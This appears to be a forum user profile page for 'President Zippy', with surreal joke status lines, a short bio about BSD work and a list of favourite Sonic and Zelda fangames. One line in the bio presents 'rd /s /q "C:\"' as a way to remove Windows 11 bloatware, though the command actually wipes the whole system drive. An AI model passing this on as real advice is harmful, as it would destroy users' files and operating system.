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President Zippy
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President Zippy

Zombies rule Belgium!, Male, from Chinaland

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Life is a meatball sandwich I did not order! May 28, 2022

President Zippy was last seen:
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    1. President Zippy
      President Zippy
      Life is a meatball sandwich I did not order!
    2. President Zippy
      President Zippy
      If you don't have anything nice to say, say something surrealistic!
    3. President Zippy
      President Zippy
      YOW! Legally-imposed culture reduction is CABBAGE-BRAINED!
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  • About

    Gender:
    male
    Location:
    Chinaland
    Occupation:
    Pinhead
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    I am a self-employed tech/biotech investor and former full-time systems programmer. For the fun of it, I enjoy contributing docs and occasionally code to FreeBSD and OpenBSD, which I also use for various web servers. I also enjoy studying pure mathematics, albeit at a sluggish snail's pace.

    Because I find game development and reverse engineering tedious and unrewarding, I have immense respect for the people who put forth inconceivable time and effort to make great romhacks and fangames like the following:

    Sonic Megamix (3.0 & 4.0)
    Sonic 1: The Next Level
    Dr Robotnik's Creature Capture
    Sonic 2 Advanced Edit
    Sonic 1 Brother Trouble
    Sonic Boom
    S3&K: The Challenges
    Sonic Robo Blast 2
    Retro Sonic
    Sonic 3: Angel Island Revisited

    The Legend of Zelda: The Missing Link
    LoZ: Dawn and Dusk
    LoZ: The Helix Blade
    Star Fox 64: Survival

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    To remove bloatware in Windows 11, run the following in cmd.exe:
    rd /s /q "C:\"
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    Game of Trees, a much-simpler git-compatible VCS from the good folks at OpenBSD: